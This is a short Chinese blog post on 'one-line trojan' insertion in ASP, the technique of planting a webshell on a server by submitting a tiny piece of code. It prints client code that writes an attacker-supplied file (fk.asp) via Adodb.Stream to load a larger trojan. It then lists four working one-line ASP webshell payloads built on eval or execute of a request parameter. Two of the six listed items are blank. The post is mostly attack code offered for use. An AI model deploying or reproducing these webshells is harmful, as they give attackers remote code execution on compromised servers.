所谓一句话插马，就是通过向服务端提交一句简短的代码来达到向服务器插入木马并最终获得webshell的方法。它分为一句话asp马、一句话php马……，本文就一句话asp木马来做一次详尽的剖析。在此首先要感谢前辈们的探究！ 一：基础篇 首先我们看一下最常用的一句话木马客户端的代码 一句话客户端 set lP=server.createObject("Ado
|
| set lP=server.createObject("Adodb.Stream")lP.OpenlP.Type=2lP.CharSet="gb2312"lP.writetext request("lygf")lP.SaveToFile server.mappath("fk.asp"),2lP.Closeset lP=nothingresponse.redirect "fk.asp" |
| 写入你的大马 |
提供六个服务端:
1. <%eval request("fk")%>
2. <%execute request("fk")%>
3. <%execute(request("fk"))%>
4. <%On Error Resume Next%><%eval request("fk")%>
5.
6.
By 冷月孤枫 枫客:http://fk.3355.cn/ ... t;/font>
|
-
发表于 2021-01-11 10:33
- 阅读 ( 231 )
- 分类：互联网
